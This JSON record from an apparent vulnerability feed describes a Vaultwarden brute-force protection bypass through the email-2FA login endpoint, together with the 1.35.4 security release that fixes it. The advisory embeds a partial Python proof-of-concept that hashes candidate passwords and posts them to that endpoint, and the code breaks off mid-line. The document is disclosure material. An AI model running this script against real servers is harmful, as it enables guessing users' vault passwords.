{"vuln_id":"GHSA-c5rv-q295-7w4g","aliases":["CVE-2026-43914"],"description":"Brute-force protection bypass vulnerability","published_at":"2026-04-25T21:05:10Z","modified_at":"2026-05-04T17:50:32Z","first_seen_at":"2026-11-22T13:40:16.283992Z","severity":"high","severity_source":"ghsa","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":["CWE-307"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-c5rv-q295-7w4g"},"matched_alias":null,"items":[{"id":12056,"source":{"id":"gh-vaultwarden","name":"Vaultwarden releases + advisories (GitHub dani-garcia/vaultwarden)"},"title":"GHSA-c5rv-q295-7w4g / CVE-2026-43914: Brute-force protection bypass vulnerability","summary":"Brute-force protection bypass vulnerability\n\n### Summary\r\nThere is a brute-force protection bypass vulnerability in Vaultwarden before version 1.35.4 if email 2fa is enabled.\r\n\r\n### Details\r\nThere is a security vulnerability in Vaultwarden before version 1.35.4 that allows bypassing the login brute-force protection if email 2fa is enabled.\r\n\r\nYou implement the function `check_limit_login` to rate-limit failed logins. This function protects `_sso_login`, `_password_login` and `_api_key_login`. \r\nHowever, if email 2fa is enabled, the unprotected 2fa-function `send_email_login` (email.rs, api endpoint `/api/two-factor/send-email-login`) also acts as an oracle determining whether a username-password combination is correct. An attacker can abuse that endpoint to brute-force passwords without rate-limiting. This works even for users who don't have email 2fa configured.\r\n\r\nIf the username-password combination is correct, this endpoint returns a status_code 200 (and sends a 2fa code via email to the victim) or returns the message \"Two factor not found\". \r\nIf the username-password combination is wrong, it returns \"Username or password is incorrect\".\r\nThis method doesn't work if email 2FA isn't enabled.\r\n\r\nI've attached a small Python PoC script (as txt file due to mail filtering) that demonstrates this brute-force attack. It's hard-coded with the default sha256-pbkdf using 600k iterations. A better PoC would dynamically retrieve the pbkdf and the iteration count from /identity/accounts/prelogin for each target user individually.\r\n\r\nMy recommendation would be to include the `check_limit_login` in the function `send_email_login`. \r\nThis vulnerability was fixed in [PR 6867](https://github.com/dani-garcia/vaultwarden/pull/6867) resp. [Version 1.35.4](https://github.com/dani-garcia/vaultwarden/releases/tag/1.35.4).\r\n\r\n### PoC\r\n```\r\nimport base64\r\nimport hashlib\r\nimport requests\r\nimport random\r\nimport string\r\n\r\ndef vw_hash_pbkdf2(email: str, password: str, iterations: int) -> str:\r\n    salt = email.strip().lower().encode(\"utf-8\")\r\n    master_key = hashlib.pbkdf2_hmac(\"sha256\", password.encode(\"utf-8\"), salt, iterations, dklen=32)\r\n    master_password_hash = hashlib.pbkdf2_hmac(\"sha256\", master_key, password.encode(\"utf-8\"), 1, dklen=32)\r\n    return base64.b64encode(master_password_hash).decode(\"ascii\")\r\n\r\ndef bruteforce_passwords(target_url, target_user, bruteforce_candidates, iterations):\r\n    for candidate in bruteforce_candidates:\r\n        candidate_hash = vw_hash_pbkdf2(target_user, candidate, iterations)\r\n        data = dict()\r\n        data[\"email\"] = target_user\r\n        data[\"masterPasswordHash\"] = candidate_hash\r\n        data[\"deviceIdentifier\"] = \"x\" # dummy value is fine        \r\n        result = requests.post(f\"{target_url}/api/two-factor/send-email-login\", json=data)    \r\n        if result.status_code == 400 and \"Username or password is incorrect\" in result.text:\r\n            print(\"[-] Password wrong. Trying next...\")\r\n        elif result.status_code == 400 and \"Email 2FA is disabled\"  in res\n\nAffected packages: :vaultwarden\nPatched: vaultwarden 1.35.4","url":"https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-c5rv-q295-7w4g","published_at":"2026-04-25T21:05:10Z","updated_at":"2026-05-04T17:50:32Z","fetched_at":"2026-11-22T13:40:16.224733Z","severity":"high","cvss_score":7.3,"epss":0.00288,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"dani-garcia","product":"vaultwarden","vuln_id":"CVE-2026-43914","vuln_ids":["CVE-2026-43914","GHSA-C5RV-Q295-7W4G"],"tags":["repo-advisory","","CWE-307","security","repo:dani-garcia/vaultwarden"],"cluster_id":11372,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12056","html":"https://vulnwatch.ve1ve2.com/item/12056"}},{"id":12716,"source":{"id":"gh-vaultwarden","name":"Vaultwarden releases + advisories (GitHub dani-garcia/vaultwarden)"},"title":"[SECURITY RELEASE] dani-garcia/vaultwarden 1.35.4","summary":"Fixes advisories: GHSA-c5rv-q295-7w4g, GHSA-w9f8-m526-h7fh, GHSA-h4hq-rgvh-wh27, GHSA-r32r-j5jq-3w4m\n\nSecurity keywords: security, GHSA-W9F8-M526-H7FH, vulnerability, GHSA-H4HQ-RGVH-WH27, GHSA-R32R-J5JQ-3W4M\n\n## Security Fixes\r\nThis release contains security fixes for the following advisories. We strongly advice to update as soon as possible.\r\n- [GHSA-w9f8-m526-h7fh](https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-w9f8-m526-h7fh). This vulnerability would allow an attacker to access a cipher from a different user (fully encrypted) if they already know its internal UUID.\r\n- [GHSA-h4hq-rgvh-wh27](https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-h4hq-rgvh-wh27). This vulnerability allows an attacker with manager-level access within an organization to modify collections they can access, even if they do not have management permissions for them.\r\n- [GHSA-r32r-j5jq-3w4m](https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-r32r-j5jq-3w4m). This vulnerability allows an attacker with manager-level access within an organization to modify collections they are not assigned.\r\n\r\nThese are private for now, pending CVE assignment.\r\n\r\n## What's Changed\r\n* Update Rust and Crates and GHA by @BlackDex in https://github.com/dani-garcia/vaultwarden/pull/6843\r\n* hide remember 2fa token by @stefan0xC in https://github.com/dani-garcia/vaultwarden/pull/6852\r\n* fix(send_invite): invite links by @proofofcopilot in https://github.com/dani-garcia/vaultwarden/pull/6824\r\n* Misc organization fixes by @BlackDex in https://github.com/dani-garcia/vaultwarden/pull/6867\r\n\r\n## New Contributors\r\n* @proofofcopilot made their first contribution in https://github.com/dani-garcia/vaultwarden/pull/6824\r\n\r\n**Full Changelog**: https://github.com/dani-garcia/vaultwarden/compare/1.35.3...1.35.4","url":"https://github.com/dani-garcia/vaultwarden/releases/tag/1.35.4","published_at":"2026-02-23T21:43:25Z","updated_at":null,"fetched_at":"2026-11-22T14:05:38.135286Z","severity":"high","cvss_score":8.3,"epss":0.00333,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"dani-garcia","product":"vaultwarden","vuln_id":"CVE-2026-27898","vuln_ids":["CVE-2026-27802","CVE-2026-27803","CVE-2026-27898","CVE-2026-43914","GHSA-C5RV-Q295-7W4G","GHSA-H4HQ-RGVH-WH27","GHSA-R32R-J5JQ-3W4M","GHSA-W9F8-M526-H7FH"],"tags":["release","repo:dani-garcia/vaultwarden","security","stack","vaultwarden"],"cluster_id":11382,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12716","html":"https://vulnwatch.ve1ve2.com/item/12716"}}]}